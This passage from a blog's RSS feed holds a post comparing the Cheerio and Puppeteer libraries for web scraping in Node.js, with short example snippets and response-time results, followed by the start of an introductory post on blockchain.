If you wanted to access this information, you’d either have to use whatever format the website uses or copy-paste the information manually into a new document.The process ca...]]></description><link>https://blogs.thearjun.com/web-scraping-with-js</link><guid isPermaLink="true">https://blogs.thearjun.com/web-scraping-with-js</guid><category><![CDATA[Node.js]]></category><category><![CDATA[Scraping]]></category><category><![CDATA[puppeteer]]></category><category><![CDATA[automation]]></category><category><![CDATA[JavaScript]]></category><dc:creator><![CDATA[Arjun Adhikari]]></dc:creator><pubDate>Mon, 16 Jan 2023 18:37:25 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1673888661901/08a6174e-2f40-48f0-8377-b7a03e07c80b.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Stock prices, product details, company information, sports stats you name it</p>
<p>If you wanted to access this information, you’d either have to use whatever format the website uses or copy-paste the information manually into a new document.<br />The process can be tedious and mundane and time-consuming to format and get what you want. Here’s where web scraping can help.</p>
<p>Web scraping or scraping are two terms that are often used in the web world and there are a number of tools for scraping.</p>
<h3 id="heading-what-is-web-scraping">What is web scraping?</h3>
<p>It is the process of extracting content and data from a website. This information is collected and then exported into a format that is more useful for the user like API<br />Although scraping can be done manually, it is tedious and mundane work so automated tools are preferred when scraping as there are enormous benefits from cost to fast access to information.<br />But in most cases, web scraping is not a simple task. Websites come in many shapes and forms, as a result, web scrapers vary in functionality and features.</p>
<p>There are a lot of tools for scraping. In this article, I will be discussing web scraping with JavaScript.</p>
<p>There are a bunch of libraries for scraping:</p>
<ul>
<li><p>Puppeteer (Headless Chrome Browser for Automation)</p>
</li>
<li><p>Cheerio (Not a browser)</p>
</li>
<li><p>Osmosis (The Parser)</p>
</li>
<li><p>Apify SDK The Complete Web Scraping Framework)</p>
</li>
</ul>
<p>The most common and widely used is a puppeteer and by any chance, if you happen to use it but if you are someone who doesn't know much about cloud functions, or serverless architecture or doesn't consider using paid virtual machine for deploying the project, there are no better ways then learning them but is what deviates you from your core motive is scraping.<br />Most of the web is full of scraping with Puppeteer and when working in development on the local machine there are not many problems you may face when using puppeteer but when it comes to deployment and someone who is not familiar with the concepts like cloud function, serverless, docker, virtual machines will you will face problem using puppeteer.</p>
<hr />
<p>Each of the tools has there own benefits and drawbacks but in this article, we will be discussing heavily on cheerio and puppeteer and will be comparing them with each other</p>
<h2 id="heading-cheerio">Cheerio</h2>
<blockquote>
<p><strong>Fast, flexible &amp; lean implementation of core jQuery designed specifically for the server.</strong></p>
</blockquote>
<h3 id="heading-features">Features</h3>
<ul>
<li><p><strong>Blazingly fast</strong></p>
<p>  Cheerio works with a very simple, consistent DOM model. As a result, parsing, manipulating, and rendering are incredibly efficient. Specifically, it does not produce a visual rendering, apply CSS, load external resources, or execute JavaScript which is common for a SPA (single-page application)<br />  <em>If your use case requires any of this functionality, you should consider browser automation software like Puppeteer</em></p>
</li>
<li><p><strong>Incredibly flexible</strong></p>
<p>  Cheerio wraps around the parse5 parser. Cheerio can parse nearly any HTML or XML document. Cheerio works in both browser and Node environments.</p>
</li>
<li><p>Cheerio implements a subset of core jQuery. Cheerio removes all the DOM inconsistencies and browser cruft from the jQuery library, revealing its truly gorgeous API. If you are familiar with JQuery it's going to be easy for you folks out there. It has a similar syntax to JQuery at the same time extremely fast</p>
</li>
</ul>
<h3 id="heading-drawbacks"><strong>Drawbacks</strong></h3>
<ul>
<li><p>The only use of cheerio is web scraping as it has limited functionality and does not provide all the features of a full-fledged web scraping library, such as support for JavaScript execution or handling of redirects and cookies.</p>
</li>
<li><p>No XPath: Cheerio only works with CSS selectors and not other types of selectors such as XPath.</p>
</li>
</ul>
<h3 id="heading-snippet">Snippet</h3>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> cheerio = <span class="hljs-built_in">require</span>(<span class="hljs-string">'cheerio'</span>);
<span class="hljs-keyword">const</span> $ = cheerio.load(<span class="hljs-string">'&lt;h2 class="title"&gt;Hello world&lt;/h2&gt;'</span>);

$(<span class="hljs-string">'h2.title'</span>).text(<span class="hljs-string">'Hello there!'</span>);
$(<span class="hljs-string">'h2'</span>).addClass(<span class="hljs-string">'welcome'</span>);

$.html();
<span class="hljs-comment">//=&gt; &lt;html&gt;&lt;head&gt;&lt;/head&gt;&lt;body&gt;&lt;h2 class="title welcome"&gt;Hello there!&lt;/h2&gt;&lt;/body&gt;&lt;/html&gt;</span>
</code></pre>
<h2 id="heading-puppeteer">Puppeteer</h2>
<p><a target="_blank" href="https://github.com/GoogleChrome/puppeteer">Puppeteer</a> is a Node.js library that offers a simple but efficient API that enables you to control Google’s Chrome or Chromium browser. It is developed and maintained by Google</p>
<h3 id="heading-features-1"><strong>Features</strong></h3>
<ul>
<li><p>Control headless Chrome or Chromium</p>
<p>  It also enables you to run Chromium in headless mode (useful for running browsers on servers) and can send and receive requests without the need for a user interface.</p>
</li>
<li><p>Automate form submissions and UI testing.<br />  Puppeteer allows you to automate form submissions, which can be useful for testing or for automating repetitive tasks. It also makes it easy to run UI tests by interacting with web pages just like a user would. <em>Puppeteer is also widely used in UI testing</em></p>
</li>
<li><p>Interact with web pages via a devtools protocol</p>
<p>  Puppeteer uses the Chrome DevTools Protocol to interact with web pages, which allows you to perform a wide range of actions such as clicking elements, filling out forms, and manipulating the DOM. This makes it easy to automate browser tasks.</p>
</li>
<li><p>Bypass CORS and capture network traffic: Using Pupeeter one can bypass the CORS and access sites that are otherwise impossible. moreover, it allows one to capture the network traffic and intercept all the requests made by the site for monitor and debugging network requests.</p>
<blockquote>
<p>Fun Fact: " Most of Youtube Downloaders use the Network Interceptor to intercept the request made by the page and download the video."</p>
</blockquote>
</li>
</ul>
<h3 id="heading-drawbacks-1"><strong>Drawbacks</strong></h3>
<ul>
<li><p>The main con of Puppeteer as a JavaScript scraping library is that it requires more technical knowledge than other libraries.</p>
</li>
<li><p>Moreover, when you use Puppeteer, you need more expensive infrastructure since it needs to launch browsers, unlike ZenRows, which does it for you</p>
</li>
</ul>
<h3 id="heading-snippet-1">Snippet</h3>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> puppeteer = <span class="hljs-built_in">require</span>(<span class="hljs-string">'puppeteer'</span>);

(<span class="hljs-keyword">async</span> () =&gt; {
  <span class="hljs-keyword">const</span> browser = <span class="hljs-keyword">await</span> puppeteer.launch();
  <span class="hljs-keyword">const</span> page = <span class="hljs-keyword">await</span> browser.newPage();
  <span class="hljs-keyword">await</span> page.goto(<span class="hljs-string">'https://testpage.com'</span>);
  <span class="hljs-keyword">await</span> page.screenshot({<span class="hljs-attr">path</span>: <span class="hljs-string">'hello.png'</span>});
  <span class="hljs-keyword">await</span> browser.close();
})();
</code></pre>
<h2 id="heading-testing">Testing</h2>
<p>Below are the testing of both tools with a <a target="_blank" href="http://codekavya.com">Codekavya</a> Website and the response time for both libraries<br />Scraping the team members' names and roles from <a target="_blank" href="http://codekavya.com">codekavya.com</a> took respective response time</p>
<p>Cheerio: ~ 1 seconds<br />Puppeteer : ~ 3 seconds</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674044726817/835d4dbc-1c8f-4a70-a7fc-23c76b5524ce.jpeg" alt class="image--center mx-auto" /></p>
<blockquote>
<p>The source code and the test file are present in the repo (<a target="_blank" href="https://github.com/arjunadhikary/web-scarping-basic">Project Repository</a>). Give it a try yourself</p>
</blockquote>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Web scraping is set to grow as time progresses. As web scraping applications abound, JavaScript libraries will grow in demand. Every library has its pros and cons and it all depends on what you want.</p>
]]></content:encoded></item><item><title><![CDATA[Starting with Web3]]></title><description><![CDATA[When we say Blockchain, the first thing that comes to our mind is Bitcoin but Blockchain is more than that. It's a technology, masterpiece, and art. Blockchain and its technology are admired by those who understand its true value.

"There's no centra...]]></description><link>https://blogs.thearjun.com/starting-with-web3</link><guid isPermaLink="true">https://blogs.thearjun.com/starting-with-web3</guid><category><![CDATA[Web3]]></category><category><![CDATA[Blockchain]]></category><dc:creator><![CDATA[Arjun Adhikari]]></dc:creator><pubDate>Wed, 28 Dec 2022 13:04:18 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1672231969074/42d2a472-b384-40cb-89b3-334b511023a6.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>When we say Blockchain, the first thing that comes to our mind is Bitcoin but Blockchain is more than that. It's a technology, masterpiece, and art. Blockchain and its technology are admired by those who understand its true value.</p>
<blockquote>
<p><strong><em>"There's no centralized source that controls the blockchain."</em></strong></p>
</blockquote>
<p>Everything that happens on a blockchain, everybody else can see, work with, and see that everyone's playing by the same rules. It's about moving from brand-based to math-based solutions and being trustless. Blockchains can't be changed, tampered with, or corrupted, and are incredibly secure.</p>
<p>Well, I have bragged about how good blockchain is but it's not all, there are enormous features and importance of it.</p>
<h3 id="heading-blockchain">Blockchain</h3>
<p>let's imagine a situation, you are the finance officer of a company and you delegate the task to keep the transaction records of the company to someone within the company, say a bookkeeper, now there are concerns about loyalty, trust and validity of the records. what if he tampers the records? you might say, ok I will keep the logs and so on but keeping those things apart there is no way to ensure that the records are clean and authentic</p>
<p>Now there comes blockchain a savior 🕵️‍♂️💂</p>
<p>Think of blockchain as a ledger or an excel sheet that not only resides in a single computer but exists among multiple fellows with multiple computers. Now if the bookkeeper tries to tamper with the record then the remaining people can verify the authenticity of the record<br />Taking the analog, we define blockchain as a series of blocks that are linked and secured using cryptography. Each block contains a record of multiple transactions, and once a block is added to the chain, the transactions it contains cannot be altered</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1672234119535/aad9c0aa-a33b-45e9-9781-71c8afcaf768.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p>Now there is no single person or entity who controls the whole process</p>
<p>  The most important thing about blockchain is you can also be part of the chain and keep the network running. Involvement with the chain requires no extra hassle like KYC verification, document fillup and interaction with the central entity.</p>
<blockquote>
<p><strong><em>"You can truly be anonymous or be public"</em></strong></p>
</blockquote>
</li>
</ul>
]]></content:encoded></item></channel></rss>